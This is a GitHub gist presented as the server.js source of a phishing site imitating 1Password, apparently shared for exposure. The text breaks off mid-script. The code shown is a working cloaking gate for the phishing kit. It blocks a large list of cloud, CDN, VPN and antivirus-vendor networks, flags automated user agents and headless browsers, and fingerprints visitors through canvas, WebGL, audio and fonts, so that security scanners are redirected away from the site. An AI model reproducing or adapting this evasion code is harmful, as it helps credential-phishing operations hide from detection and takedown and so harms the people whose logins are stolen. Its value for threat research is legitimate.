Created
June 1, 2026 22:43
-
-
Save GithubKillsMyOpsec/193ba4fd92ef47863fcce0f116364072 to your computer and use it in GitHub Desktop.
server.js source code from a 1password phishing website.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| const express = require('express'); | |
| const axios = require('axios'); | |
| const path = require('path'); | |
| const crypto = require('crypto'); | |
| require('dotenv').config(); | |
| const app = express(); | |
| const PORT = process.env.PORT || 3000; | |
| app.set('trust proxy', true); | |
| // ======================================== | |
| // BOT DETECTION CONFIGURATION | |
| // ======================================== | |
| // Essential bot user agents (hardcoded) | |
| const BOT_USER_AGENTS = [ | |
| 'go-http-client', 'python-urllib', 'python-requests', 'python-httpx', | |
| 'requests/', 'urllib/', 'curl/', 'wget/', 'libcurl', 'httpclient', | |
| 'apache-httpclient', 'java/', 'okhttp/', 'node-fetch', 'axios/', | |
| 'fetch/', 'scrapy/', 'selenium/', 'webdriver', 'phantomjs', | |
| 'headlesschrome', 'chrome-headless', 'puppeteer', 'playwright', | |
| 'bot', 'crawler', 'spider', 'scraper', 'scanner', 'yowser', 'headless' | |
| ]; | |
| // MASSIVE BANNED AS NUMBERS - TOUS DATACENTERS/BOTS/CRAWLERS | |
| const BANNED_ASNS = [ | |
| // ==== MAJOR CLOUD PROVIDERS ==== | |
| // TalkTalk | |
| 'AS13285', | |
| // Google Cloud/Crawlers | |
| 'AS15169', 'AS36040', 'AS36384', 'AS36385', 'AS36492', 'AS41264', 'AS396982', 'AS394406', 'AS13949', | |
| // Amazon AWS | |
| 'AS14618', 'AS16509', 'AS8987', 'AS62785', 'AS7224', 'AS19679', 'AS8987', 'AS135629', 'AS266331', | |
| // Microsoft Azure | |
| 'AS8075', 'AS3598', 'AS12076', 'AS8068', 'AS8069', 'AS8070', 'AS133752', 'AS8068', 'AS63263', | |
| // Alibaba Cloud | |
| 'AS37963', 'AS45102', 'AS24429', 'AS37964', 'AS45090', 'AS45070', 'AS140292', 'AS196844', | |
| // Oracle Cloud | |
| 'AS31898', 'AS134993', 'AS397324', 'AS31898', 'AS129927', | |
| // IBM Cloud | |
| 'AS36351', 'AS11430', 'AS21844', 'AS27699', | |
| // Tencent Cloud | |
| 'AS132203', 'AS45090', 'AS58519', 'AS132591', 'AS133775', | |
| // Baidu Cloud | |
| 'AS38365', 'AS55967', 'AS38627', 'AS4837', 'AS4808', | |
| // Yandex | |
| 'AS13238', 'AS5378', 'AS43247', 'AS49505', | |
| // ==== CDN & EDGE NETWORKS ==== | |
| // Cloudflare | |
| 'AS13335', 'AS209242', 'AS395747', 'AS132892', | |
| // Akamai | |
| 'AS16625', 'AS20940', 'AS21342', 'AS31108', 'AS31109', 'AS32787', 'AS33905', 'AS35993', 'AS36183', | |
| // Fastly | |
| 'AS54113', 'AS394192', | |
| // KeyCDN | |
| 'AS30058', 'AS62240', | |
| // MaxCDN/StackPath | |
| 'AS33438', 'AS58311', 'AS20446', | |
| // BunnyCDN | |
| 'AS200325', | |
| // JSDelivr | |
| 'AS54994', 'AS22822', | |
| // ==== HOSTING & DATACENTERS ==== | |
| // OVH | |
| 'AS16276', 'AS35540', 'AS57043', 'AS18450', 'AS152582', 'AS49367', | |
| // DigitalOcean | |
| 'AS14061', 'AS133752', 'AS202018', 'AS143515', | |
| // Vultr | |
| 'AS20473', 'AS64515', 'AS-VULTR', | |
| // Linode/Akamai | |
| 'AS63949', 'AS24971', 'AS59440', | |
| // Hetzner | |
| 'AS24940', 'AS213230', 'AS397220', | |
| // Contabo | |
| 'AS51167', 'AS53667', | |
| // Leaseweb | |
| 'AS7203', 'AS30633', 'AS28753', 'AS60781', 'AS396362', 'AS395954', 'AS59605', 'AS30132', | |
| // Scaleway | |
| 'AS12876', 'AS29802', 'AS29447', 'AS51706', | |
| // Hurricane Electric | |
| 'AS6939', 'AS7459', | |
| // Kimsufi/SoYouStart | |
| 'AS57043', 'AS152582', | |
| // TrafficForce | |
| 'AS149428', 'AS210906', 'AS202044', 'AS35830', 'AS133480', | |
| // ==== NETWORK PROVIDERS & TRANSIT ==== | |
| // Cogent | |
| 'AS174', 'AS64050', | |
| // Level3/Lumen/CenturyLink | |
| 'AS3356', 'AS3549', 'AS1', 'AS209', 'AS4006', | |
| // NTT | |
| 'AS2914', 'AS2527', | |
| // GTT | |
| 'AS3257', 'AS10026', | |
| // Telia | |
| 'AS1299', 'AS3301', | |
| // Zayo | |
| 'AS6461', 'AS8218', | |
| // ==== HOSTING PROVIDERS ==== | |
| // M247 | |
| 'AS9009', 'AS60068', 'AS9009', | |
| // Psychz Networks | |
| 'AS40676', 'AS63023', | |
| // Quadranet | |
| 'AS8100', 'AS54601', | |
| // Sharktech | |
| 'AS46844', 'AS63410', | |
| // Servermania | |
| 'AS55286', 'AS26496', | |
| // ColoCrossing | |
| 'AS36352', 'AS25761', | |
| // Hostwinds | |
| 'AS54290', 'AS39743', | |
| // HostRoyale | |
| 'AS39486', 'AS142036', | |
| // Netcup | |
| 'AS197540', 'AS34939', | |
| // Serverion | |
| 'AS201814', 'AS58952', | |
| // Flokinet | |
| 'AS200651', 'AS47583', | |
| // ==== VPN PROVIDERS ==== | |
| // NordVPN | |
| 'AS208323', 'AS59729', 'AS14061', | |
| // ExpressVPN | |
| 'AS65251', 'AS7979', 'AS396356', | |
| // Surfshark | |
| 'AS202425', 'AS47692', | |
| // CyberGhost | |
| 'AS9009', 'AS212238', | |
| // ProtonVPN | |
| 'AS62371', 'AS212238', | |
| // Mullvad | |
| 'AS213171', 'AS44869', | |
| // Private Internet Access | |
| 'AS46562', 'AS33287', 'AS53667', | |
| // IPVanish | |
| 'AS46562', 'AS8560', | |
| // TunnelBear | |
| 'AS7979', 'AS36352', | |
| // ==== SECURITY & ANTIVIRUS CRAWLERS ==== | |
| // AVAST | |
| 'AS198605', 'AS25820', | |
| // McAfee | |
| 'AS7342', 'AS36040', | |
| // Kaspersky | |
| 'AS201706', 'AS13238', | |
| // Symantec/Norton | |
| 'AS27471', 'AS27471', | |
| // Trend Micro | |
| 'AS7545', 'AS17408', | |
| // Bitdefender | |
| 'AS39737', 'AS9050', | |
| // F-Secure | |
| 'AS1759', 'AS1741', | |
| // Sophos | |
| 'AS21195', 'AS8560', | |
| // ==== BOT & CRAWLER SERVICES ==== | |
| // Bright Data (ex-Luminati) | |
| 'AS62240', 'AS42831', 'AS35913', 'AS207266', | |
| // Oxylabs | |
| 'AS206728', 'AS51659', 'AS9009', | |
| // SmartProxy | |
| 'AS62240', 'AS13213', 'AS60068', | |
| // ScraperAPI | |
| 'AS19551', 'AS11878', 'AS16509', | |
| // ProxyMesh | |
| 'AS13768', 'AS22612', | |
| // Storm Proxies | |
| 'AS19551', 'AS33182', | |
| // Blazing SEO | |
| 'AS19551', 'AS32475', | |
| // ==== CHINA (ULTRA MÉCHANT - ÉVITE TELECOM RÉSIDENTIELS) ==== | |
| // Chinese Datacenters/Hosting (pas China Telecom/Unicom/Mobile résidentiel) | |
| 'AS55960', 'AS37963', 'AS58461', 'AS132203', 'AS140292', 'AS45090', 'AS45070', | |
| 'AS38365', 'AS55967', 'AS38627', 'AS4808', 'AS17623', 'AS17816', 'AS9929', | |
| 'AS24444', 'AS56040', 'AS56044', 'AS56046', 'AS131285', 'AS133775', 'AS134756', | |
| 'AS135377', 'AS136958', 'AS137718', 'AS138421', 'AS138914', 'AS139021', 'AS139061', | |
| 'AS139083', 'AS139172', 'AS139203', 'AS139316', 'AS139462', 'AS139721', 'AS139726', | |
| 'AS140726', 'AS140863', 'AS142280', 'AS142281', 'AS58519', 'AS58461', 'AS63528', | |
| // ==== RUSSIA (ULTRA MÉCHANT - ÉVITE ROSTELECOM/MTS RÉSIDENTIELS) ==== | |
| // Russian Datacenters (pas Rostelecom/MTS résidentiel) | |
| 'AS12555', 'AS13238', 'AS49981', 'AS197695', 'AS204957', 'AS202422', 'AS201706', | |
| 'AS39737', 'AS42831', 'AS43247', 'AS44128', 'AS47764', 'AS48282', 'AS49063', | |
| 'AS49505', 'AS50384', 'AS50928', 'AS51570', 'AS56534', 'AS57043', 'AS197695', | |
| 'AS198610', 'AS199524', 'AS200350', 'AS201094', 'AS201776', 'AS202422', 'AS203921', | |
| 'AS204005', 'AS204895', 'AS205112', 'AS205334', 'AS206728', 'AS207330', 'AS208722', | |
| // ==== UKRAINE (ULTRA MÉCHANT - ÉVITE UKRTELECOM RÉSIDENTIEL) ==== | |
| // Ukrainian Datacenters (pas Ukrtelecom résidentiel) | |
| 'AS15895', 'AS35297', 'AS39608', 'AS42331', 'AS43554', 'AS47598', 'AS48695', | |
| 'AS49176', 'AS56655', 'AS57171', 'AS196645', 'AS197071', 'AS198047', 'AS198610', | |
| 'AS199524', 'AS200000', 'AS201094', 'AS202422', 'AS204895', 'AS205334', | |
| // ==== FRANCE (ULTRA MÉCHANT - ÉVITE ORANGE/SFR/BOUYGUES/FREE) ==== | |
| // French Datacenters/Business (pas Orange/SFR/Bouygues/Free résidentiel) | |
| 'AS12876', 'AS29802', 'AS51706', 'AS57043', 'AS152582', 'AS49367', 'AS35625', | |
| 'AS16347', 'AS21409', 'AS29169', 'AS31424', 'AS35280', 'AS35625', | |
| 'AS39180', 'AS41690', 'AS43142', 'AS48635', 'AS50618', 'AS51159', 'AS51706', | |
| 'AS56665', 'AS197692', 'AS198290', 'AS198507', 'AS200780', 'AS201333', 'AS203461', | |
| // ==== GERMANY (ULTRA MÉCHANT - ÉVITE DEUTSCHE TELEKOM RÉSIDENTIEL) ==== | |
| // German Datacenters (pas Deutsche Telekom résidentiel) | |
| 'AS31334', 'AS29066', 'AS197540', 'AS24940', 'AS213230', 'AS39737', | |
| 'AS8767', 'AS12732', 'AS13101', 'AS15943', 'AS20676', 'AS21413', | |
| 'AS24961', 'AS25560', 'AS29066', 'AS31334', 'AS33891', 'AS34309', 'AS34355', | |
| 'AS35066', 'AS39737', 'AS41692', 'AS42730', 'AS47447', 'AS48918', 'AS49877', | |
| 'AS51167', 'AS56665', 'AS197540', 'AS198610', 'AS200780', 'AS205334', 'AS213230', | |
| // ==== UK (ULTRA MÉCHANT - ÉVITE BT/VIRGIN/SKY RÉSIDENTIELS) ==== | |
| // UK Datacenters (pas BT/Virgin/Sky résidentiel) | |
| 'AS20738', 'AS41230', 'AS29550', 'AS39326', 'AS42831', | |
| 'AS8220', 'AS12576', 'AS15830', 'AS20738', 'AS25577', 'AS29550', | |
| 'AS31898', 'AS34245', 'AS35662', 'AS39326', 'AS41230', 'AS41847', | |
| 'AS42473', 'AS43574', 'AS44684', 'AS49544', 'AS60610', 'AS197695', 'AS198610', | |
| // ==== USA (ULTRA MÉCHANT - ÉVITE AT&T/VERIZON/COMCAST RÉSIDENTIELS) ==== | |
| // US Datacenters/Business (pas AT&T/Verizon/Comcast résidentiel) | |
| 'AS20446', 'AS22616', 'AS30475', 'AS32475', 'AS11878', 'AS19551', 'AS33182', 'AS22773', | |
| 'AS19318', 'AS53667', 'AS62904', 'AS6364', 'AS6327', 'AS11426', | |
| 'AS13649', 'AS16591', 'AS16626', 'AS19318', 'AS20446', 'AS20473', | |
| 'AS22773', 'AS22616', 'AS25369', 'AS26496', 'AS27357', 'AS29748', 'AS30475', 'AS32475', | |
| 'AS33182', 'AS33287', 'AS35913', 'AS36351', 'AS36352', 'AS39406', 'AS40676', 'AS46562', | |
| 'AS46844', 'AS53667', 'AS54113', 'AS54290', 'AS55286', 'AS62904', 'AS63410', 'AS63949', | |
| // ==== BUSINESS/HOSTING PROVIDERS (TOUS PAYS) ==== | |
| // Korean Business/Hosting | |
| 'AS17858', 'AS10050', 'AS9457', 'AS17408', 'AS38040', | |
| // Japanese Business/Hosting | |
| 'AS2516', 'AS17676', 'AS7684', 'AS4713', 'AS7545', 'AS17408', 'AS23576', | |
| // Indian Business/Hosting | |
| 'AS133296', 'AS45609', 'AS4755', 'AS17488', 'AS9829', 'AS18101', 'AS55824', | |
| // Dutch Business/Hosting | |
| 'AS60781', 'AS28753', 'AS49544', 'AS49453', 'AS1103', 'AS15670', 'AS20857', | |
| // Italian Business/Hosting | |
| 'AS30722', 'AS8968', 'AS12874', 'AS16232', 'AS28716', 'AS31638', 'AS35805', | |
| // Spanish Business/Hosting | |
| 'AS15704', 'AS29119', 'AS35699', 'AS42473', 'AS198610', | |
| // Canadian Business/Hosting | |
| 'AS11831', 'AS16509', 'AS19531', 'AS22773', 'AS26496', 'AS53667', 'AS62904', | |
| // ==== SUSPICIOUS/RECENTLY DETECTED ==== | |
| 'AS204957', 'AS49981', 'AS197695', 'AS142036', 'AS39737', | |
| 'AS33182', 'AS11878', 'AS22773', 'AS32475', 'AS19318', | |
| // ==== ADDITIONAL CLOUD PROVIDERS ==== | |
| // UpCloud | |
| 'AS202053', 'AS25696', | |
| // Kamatera | |
| 'AS30475', 'AS63949', | |
| // Atlantic.net | |
| 'AS6364', 'AS393406', | |
| // RackSpace | |
| 'AS27357', 'AS29748', 'AS33182' | |
| ]; | |
| // High-risk countries for datacenter hosting | |
| const HIGH_RISK_COUNTRIES = ['Russia', 'China', 'Belarus', 'Kazakhstan', 'Ukraine']; | |
| // Bot detection cache | |
| const suspiciousIPs = new Map(); | |
| const requestTimings = new Map(); | |
| const fingerprintCache = new Map(); | |
| const verifiedIPs = new Map(); // IPs qui ont passé la vérification fingerprint | |
| // Clean cache every 30 minutes | |
| setInterval(() => { | |
| const now = Date.now(); | |
| const thirtyMinutes = 30 * 60 * 1000; | |
| for (const [ip, data] of requestTimings.entries()) { | |
| if (now - data.time > thirtyMinutes) { | |
| requestTimings.delete(ip); | |
| } | |
| } | |
| for (const [ip, data] of suspiciousIPs.entries()) { | |
| if (now - data.lastSeen > thirtyMinutes) { | |
| suspiciousIPs.delete(ip); | |
| } | |
| } | |
| for (const [ip, data] of fingerprintCache.entries()) { | |
| if (now - data.timestamp > thirtyMinutes) { | |
| fingerprintCache.delete(ip); | |
| } | |
| } | |
| for (const [ip, data] of verifiedIPs.entries()) { | |
| if (now - data.timestamp > thirtyMinutes) { | |
| verifiedIPs.delete(ip); | |
| } | |
| } | |
| }, 30 * 60 * 1000); | |
| // ======================================== | |
| // FINGERPRINT ANALYSIS | |
| // ======================================== | |
| function analyzeFingerprint(fingerprint, ip) { | |
| let suspicionScore = 0; | |
| const flags = []; | |
| if (!fingerprint) return { score: 0, flags: [] }; | |
| // 1. Canvas fingerprint analysis | |
| if (!fingerprint.canvas) { | |
| suspicionScore += 30; | |
| flags.push('no_canvas_support'); | |
| } else if (fingerprint.canvas.length < 1000) { | |
| suspicionScore += 25; | |
| flags.push('suspicious_canvas_short'); | |
| } | |
| // 2. WebGL analysis | |
| if (!fingerprint.webgl) { | |
| suspicionScore += 40; | |
| flags.push('no_webgl_support'); | |
| } else { | |
| // Check for headless browser indicators | |
| if (fingerprint.webgl.renderer && ( | |
| fingerprint.webgl.renderer.includes('SwiftShader') || | |
| fingerprint.webgl.renderer.includes('Mesa') || | |
| fingerprint.webgl.renderer.includes('llvmpipe') || | |
| fingerprint.webgl.renderer.includes('Software Rasterizer') | |
| )) { | |
| suspicionScore += 35; | |
| flags.push('headless_webgl_renderer'); | |
| } | |
| // Check for missing or suspicious vendor | |
| if (!fingerprint.webgl.vendor || fingerprint.webgl.vendor === 'Brian Paul' || fingerprint.webgl.vendor === 'Mesa') { | |
| suspicionScore += 20; | |
| flags.push('suspicious_webgl_vendor'); | |
| } | |
| } | |
| // 3. Screen size inconsistencies | |
| if (fingerprint.screen && fingerprint.window) { | |
| const screenRatio = fingerprint.screen.width / fingerprint.screen.height; | |
| const windowRatio = fingerprint.window.innerWidth / fingerprint.window.innerHeight; | |
| // Common headless browser screen sizes | |
| if ((fingerprint.screen.width === 1024 && fingerprint.screen.height === 768) || | |
| (fingerprint.screen.width === 1280 && fingerprint.screen.height === 1024) || | |
| (fingerprint.screen.width === 800 && fingerprint.screen.height === 600)) { | |
| suspicionScore += 15; | |
| flags.push('common_headless_resolution'); | |
| } | |
| // Suspicious window/screen size ratios | |
| if (Math.abs(screenRatio - windowRatio) > 0.5) { | |
| suspicionScore += 10; | |
| flags.push('screen_window_size_mismatch'); | |
| } | |
| // Unrealistic resolutions | |
| if (fingerprint.screen.width < 200 || fingerprint.screen.height < 200 || | |
| fingerprint.screen.width > 8000 || fingerprint.screen.height > 8000) { | |
| suspicionScore += 25; | |
| flags.push('unrealistic_screen_resolution'); | |
| } | |
| } | |
| // 4. Plugin analysis | |
| if (fingerprint.plugins) { | |
| if (fingerprint.plugins.length === 0) { | |
| suspicionScore += 20; | |
| flags.push('no_browser_plugins'); | |
| } else if (fingerprint.plugins.length > 50) { | |
| suspicionScore += 15; | |
| flags.push('excessive_plugins'); | |
| } | |
| } | |
| // 5. Font detection analysis (removed insufficient_fonts) | |
| if (fingerprint.fonts) { | |
| if (fingerprint.fonts.length === 0) { | |
| suspicionScore += 15; | |
| flags.push('no_fonts_detected'); | |
| } else if (fingerprint.fonts.length > 100) { | |
| suspicionScore += 15; | |
| flags.push('excessive_fonts'); | |
| } | |
| } | |
| // 6. Hardware inconsistencies | |
| if (fingerprint.hardwareConcurrency) { | |
| if (fingerprint.hardwareConcurrency === 1 || fingerprint.hardwareConcurrency > 128) { | |
| suspicionScore += 15; | |
| flags.push('suspicious_hardware_concurrency'); | |
| } | |
| } | |
| // 7. Device memory analysis | |
| if (fingerprint.deviceMemory !== undefined) { | |
| if (fingerprint.deviceMemory < 1 || fingerprint.deviceMemory > 32) { | |
| suspicionScore += 10; | |
| flags.push('unrealistic_device_memory'); | |
| } | |
| } | |
| // 8. Language/timezone inconsistencies | |
| if (fingerprint.timezone && fingerprint.language) { | |
| // Basic timezone/language mismatch detection | |
| const isEnglish = fingerprint.language.startsWith('en'); | |
| const isUSTimezone = fingerprint.timezone.includes('America') || fingerprint.timezone.includes('US'); | |
| if (isUSTimezone && !isEnglish && !fingerprint.language.startsWith('es')) { | |
| suspicionScore += 5; | |
| flags.push('timezone_language_mismatch'); | |
| } | |
| } | |
| // 9. Performance timing analysis | |
| if (fingerprint.timing) { | |
| // Check for suspiciously fast or perfect timings (automation indicators) | |
| const loadTime = fingerprint.timing.loadEventEnd; | |
| if (loadTime !== undefined && (loadTime < 10 || loadTime > 60000)) { | |
| suspicionScore += 10; | |
| flags.push('suspicious_load_timing'); | |
| } | |
| } | |
| // 10. Audio fingerprint analysis | |
| if (!fingerprint.audio) { | |
| suspicionScore += 15; | |
| flags.push('no_audio_fingerprint'); | |
| } | |
| return { | |
| score: suspicionScore, | |
| flags: flags | |
| }; | |
| } | |
| // ======================================== | |
| // ADVANCED BOT DETECTION | |
| // ======================================== | |
| function detectBot(req, ipInfo, fingerprint = null) { | |
| const headers = req.headers; | |
| const ip = req.headers['x-forwarded-for']?.split(',')[0] || req.connection.remoteAddress; | |
| const userAgent = headers['user-agent'] || ''; | |
| let suspicionScore = 0; | |
| const flags = []; | |
| const now = Date.now(); | |
| // Get fingerprint from cache if not provided | |
| if (!fingerprint && fingerprintCache.has(ip)) { | |
| fingerprint = fingerprintCache.get(ip).data; | |
| } | |
| // 1. Essential header checks (reduced scoring for VPNs) | |
| if (!headers.accept) { | |
| suspicionScore += 10; | |
| flags.push('missing_accept'); | |
| } | |
| if (!headers['accept-language']) { | |
| suspicionScore += 8; | |
| flags.push('missing_accept_language'); | |
| } | |
| // 2. User-Agent analysis | |
| if (!userAgent) { | |
| suspicionScore += 30; | |
| flags.push('no_user_agent'); | |
| } else { | |
| // Check length | |
| if (userAgent.length < 50) { | |
| suspicionScore += 20; | |
| flags.push('short_user_agent'); | |
| } | |
| // Check for bot patterns | |
| const botPattern = new RegExp(`(${BOT_USER_AGENTS.join('|')})`, 'i'); | |
| if (botPattern.test(userAgent)) { | |
| suspicionScore += 50; | |
| flags.push('bot_user_agent'); | |
| } | |
| // Check for outdated browsers | |
| if (userAgent.includes('Chrome/')) { | |
| const chromeVersion = userAgent.match(/Chrome\/(\d+)/); | |
| if (chromeVersion && parseInt(chromeVersion[1]) < 110) { | |
| suspicionScore += 15; | |
| flags.push('outdated_chrome'); | |
| } | |
| } | |
| } | |
| // 3. Request timing patterns | |
| if (requestTimings.has(ip)) { | |
| const lastRequest = requestTimings.get(ip); | |
| const timeDiff = now - lastRequest.time; | |
| if (timeDiff < 50) { | |
| suspicionScore += 25; | |
| flags.push('rapid_requests'); | |
| lastRequest.rapidCount = (lastRequest.rapidCount || 0) + 1; | |
| if (lastRequest.rapidCount > 5) { | |
| suspicionScore += 40; | |
| flags.push('excessive_rapid_requests'); | |
| } | |
| } else { | |
| lastRequest.rapidCount = 0; | |
| } | |
| lastRequest.time = now; | |
| } else { | |
| requestTimings.set(ip, { time: now, rapidCount: 0 }); | |
| } | |
| // 4. ASN analysis (banned ASNs are blocked before this function) | |
| if (ipInfo && ipInfo.as) { | |
| const org = ipInfo.as.toLowerCase(); | |
| // Check for datacenter indicators (excluding major CDNs and already-blocked ASNs) | |
| if ((org.includes('datacenter') || org.includes('data-center') || | |
| org.includes('hosting') || org.includes('vps') || | |
| org.includes('server') || org.includes('dedicated')) && | |
| !org.includes('fastly') && !org.includes('cloudflare')) { | |
| suspicionScore += 25; | |
| flags.push('datacenter_hosting'); | |
| } | |
| // High-risk country + datacenter combination | |
| if (ipInfo.country && HIGH_RISK_COUNTRIES.includes(ipInfo.country) && | |
| org.includes('datacenter')) { | |
| suspicionScore += 30; | |
| flags.push('high_risk_datacenter'); | |
| } | |
| } | |
| // 5. Special bot signatures | |
| if (userAgent.includes('YaBrowser') && userAgent.includes('Yowser')) { | |
| suspicionScore += 40; | |
| flags.push('yandex_bot_signature'); | |
| } | |
| if (userAgent.includes('HeadlessChrome') || userAgent.includes('PhantomJS') || | |
| userAgent.includes('SlimerJS')) { | |
| suspicionScore += 50; | |
| flags.push('headless_browser'); | |
| } | |
| // 6. Fingerprint analysis | |
| if (fingerprint) { | |
| const fpAnalysis = analyzeFingerprint(fingerprint, ip); | |
| suspicionScore += fpAnalysis.score; | |
| flags.push(...fpAnalysis.flags); | |
| } else { | |
| // Penalize missing fingerprint (possible bot without JS execution) | |
| suspicionScore += 20; | |
| flags.push('no_fingerprint'); | |
| } | |
| return { | |
| score: suspicionScore, | |
| flags: flags, | |
| isBot: suspicionScore >= 80, | |
| riskLevel: suspicionScore < 40 ? 'low' : suspicionScore < 70 ? 'medium' : 'high' | |
| }; | |
| } | |
| // ======================================== | |
| // MAIN MIDDLEWARE | |
| // ======================================== | |
| app.use(async (req, res, next) => { | |
| const visitorIp = req.headers['x-forwarded-for']?.split(',')[0] || req.connection.remoteAddress; | |
| const userAgent = req.headers['user-agent'] || ''; | |
| // Skip detection pour verification ET webhooks Telegram | |
| if (req.path === '/verify' || req.path === '/fingerprint' || req.path === '/telegram-webhook') { | |
| return next(); | |
| } | |
| // Check if IP already verified by fingerprinting | |
| const verified = verifiedIPs.get(visitorIp); | |
| if (!verified || Date.now() - verified.timestamp > 30 * 60 * 1000) { // 30 min expiry | |
| // Redirect to verification page | |
| return res.redirect('/verify'); | |
| } | |
| // At this point, IP is verified through fingerprinting | |
| // Just log the access for already verified users | |
| next(); | |
| }); | |
| // ======================================== | |
| // CLIENT-SIDE FINGERPRINTING SCRIPT | |
| // ======================================== | |
| const FINGERPRINT_SCRIPT = ` | |
| <script> | |
| (function() { | |
| 'use strict'; | |
| // Collect comprehensive fingerprint | |
| async function collectFingerprint() { | |
| const fp = { | |
| timestamp: Date.now(), | |
| timezone: Intl.DateTimeFormat().resolvedOptions().timeZone, | |
| language: navigator.language, | |
| languages: navigator.languages, | |
| platform: navigator.platform, | |
| hardwareConcurrency: navigator.hardwareConcurrency, | |
| deviceMemory: navigator.deviceMemory, | |
| cookieEnabled: navigator.cookieEnabled, | |
| doNotTrack: navigator.doNotTrack, | |
| plugins: Array.from(navigator.plugins).map(p => ({name: p.name, filename: p.filename})), | |
| mimeTypes: Array.from(navigator.mimeTypes).map(m => m.type) | |
| }; | |
| // Screen and window detection | |
| fp.screen = { | |
| width: screen.width, | |
| height: screen.height, | |
| availWidth: screen.availWidth, | |
| availHeight: screen.availHeight, | |
| colorDepth: screen.colorDepth, | |
| pixelDepth: screen.pixelDepth | |
| }; | |
| fp.window = { | |
| innerWidth: window.innerWidth, | |
| innerHeight: window.innerHeight, | |
| outerWidth: window.outerWidth, | |
| outerHeight: window.outerHeight, | |
| devicePixelRatio: window.devicePixelRatio | |
| }; | |
| // Canvas fingerprinting | |
| try { | |
| const canvas = document.createElement('canvas'); | |
| const ctx = canvas.getContext('2d'); | |
| canvas.width = 200; | |
| canvas.height = 50; | |
| ctx.textBaseline = 'top'; | |
| ctx.font = '14px Arial'; | |
| ctx.fillStyle = '#f60'; | |
| ctx.fillRect(125, 1, 62, 20); | |
| ctx.fillStyle = '#069'; | |
| ctx.fillText('🌟BotDetect🌟', 2, 15); | |
| ctx.fillStyle = 'rgba(102, 204, 0, 0.7)'; | |
| ctx.fillText('Canvas fingerprint', 4, 25); | |
| fp.canvas = canvas.toDataURL(); | |
| } catch (e) { | |
| fp.canvas = null; | |
| } | |
| // WebGL fingerprinting | |
| try { | |
| const canvas = document.createElement('canvas'); | |
| const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl'); | |
| if (gl) { | |
| fp.webgl = { | |
| vendor: gl.getParameter(gl.VENDOR), | |
| renderer: gl.getParameter(gl.RENDERER), | |
| version: gl.getParameter(gl.VERSION), | |
| shadingLanguageVersion: gl.getParameter(gl.SHADING_LANGUAGE_VERSION), | |
| maxTextureSize: gl.getParameter(gl.MAX_TEXTURE_SIZE), | |
| maxViewportDims: gl.getParameter(gl.MAX_VIEWPORT_DIMS), | |
| maxVertexAttribs: gl.getParameter(gl.MAX_VERTEX_ATTRIBS), | |
| maxVaryingVectors: gl.getParameter(gl.MAX_VARYING_VECTORS), | |
| maxFragmentTextureUnits: gl.getParameter(gl.MAX_TEXTURE_IMAGE_UNITS), | |
| maxVertexTextureUnits: gl.getParameter(gl.MAX_VERTEX_TEXTURE_IMAGE_UNITS) | |
| }; | |
| // WebGL extensions | |
| fp.webgl.extensions = gl.getSupportedExtensions(); | |
| // WebGL debugging info | |
| const debugInfo = gl.getExtension('WEBGL_debug_renderer_info'); | |
| if (debugInfo) { | |
| fp.webgl.unmaskedVendor = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL); | |
| fp.webgl.unmaskedRenderer = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL); | |
| } | |
| } else { | |
| fp.webgl = null; | |
| } | |
| } catch (e) { | |
| fp.webgl = null; | |
| } | |
| // Audio fingerprinting | |
| try { | |
| const audioCtx = new (window.AudioContext || window.webkitAudioContext)(); | |
| const oscillator = audioCtx.createOscillator(); | |
| const analyser = audioCtx.createAnalyser(); | |
| const gainNode = audioCtx.createGain(); | |
| oscillator.type = 'triangle'; | |
| oscillator.frequency.setValueAtTime(10000, audioCtx.currentTime); | |
| gainNode.gain.setValueAtTime(0, audioCtx.currentTime); | |
| oscillator.connect(analyser); | |
| analyser.connect(gainNode); | |
| gainNode.connect(audioCtx.destination); | |
| oscillator.start(0); | |
| const bufferLength = analyser.frequencyBinCount; | |
| const dataArray = new Float32Array(bufferLength); | |
| analyser.getFloatFrequencyData(dataArray); | |
| oscillator.stop(); | |
| audioCtx.close(); | |
| fp.audio = dataArray.slice(0, 30).join(','); | |
| } catch (e) { | |
| fp.audio = null; | |
| } | |
| // Font detection | |
| try { | |
| const fonts = ['Arial', 'Verdana', 'Times New Roman', 'Courier New', 'Helvetica', 'Georgia', 'Palatino', 'Garamond', 'Comic Sans MS', 'Trebuchet MS', 'Arial Black', 'Impact']; | |
| const testString = 'mmmmmmmmmmlli'; | |
| const testSize = '72px'; | |
| const canvas = document.createElement('canvas'); | |
| const context = canvas.getContext('2d'); | |
| context.font = testSize + ' serif'; | |
| const baselineWidth = context.measureText(testString).width; | |
| fp.fonts = fonts.filter(font => { | |
| context.font = testSize + ' ' + font + ', serif'; | |
| return context.measureText(testString).width !== baselineWidth; | |
| }); | |
| } catch (e) { | |
| fp.fonts = []; | |
| } | |
| // Performance timing | |
| if (performance && performance.timing) { | |
| const t = performance.timing; | |
| fp.timing = { | |
| connectEnd: t.connectEnd - t.navigationStart, | |
| connectStart: t.connectStart - t.navigationStart, | |
| domComplete: t.domComplete - t.navigationStart, | |
| domContentLoadedEventEnd: t.domContentLoadedEventEnd - t.navigationStart, | |
| domContentLoadedEventStart: t.domContentLoadedEventStart - t.navigationStart, | |
| domInteractive: t.domInteractive - t.navigationStart, | |
| domLoading: t.domLoading - t.navigationStart, | |
| domainLookupEnd: t.domainLookupEnd - t.navigationStart, | |
| domainLookupStart: t.domainLookupStart - t.navigationStart, | |
| fetchStart: t.fetchStart - t.navigationStart, | |
| loadEventEnd: t.loadEventEnd - t.navigationStart, | |
| loadEventStart: t.loadEventStart - t.navigationStart, | |
| redirectEnd: t.redirectEnd - t.navigationStart, | |
| redirectStart: t.redirectStart - t.navigationStart, | |
| requestStart: t.requestStart - t.navigationStart, | |
| responseEnd: t.responseEnd - t.navigationStart, | |
| responseStart: t.responseStart - t.navigationStart, | |
| unloadEventEnd: t.unloadEventEnd - t.navigationStart, | |
| unloadEventStart: t.unloadEventStart - t.navigationStart | |
| }; | |
| } | |
| return fp; | |
| } | |
| // Send fingerprint to server | |
| async function sendFingerprint() { | |
| try { | |
| const fingerprint = await collectFingerprint(); | |
| await fetch('/fingerprint', { | |
| method: 'POST', | |
| headers: { | |
| 'Content-Type': 'application/json', | |
| }, | |
| body: JSON.stringify(fingerprint) | |
| }); | |
| } catch (e) { | |
| // Silently fail if fingerprinting fails | |
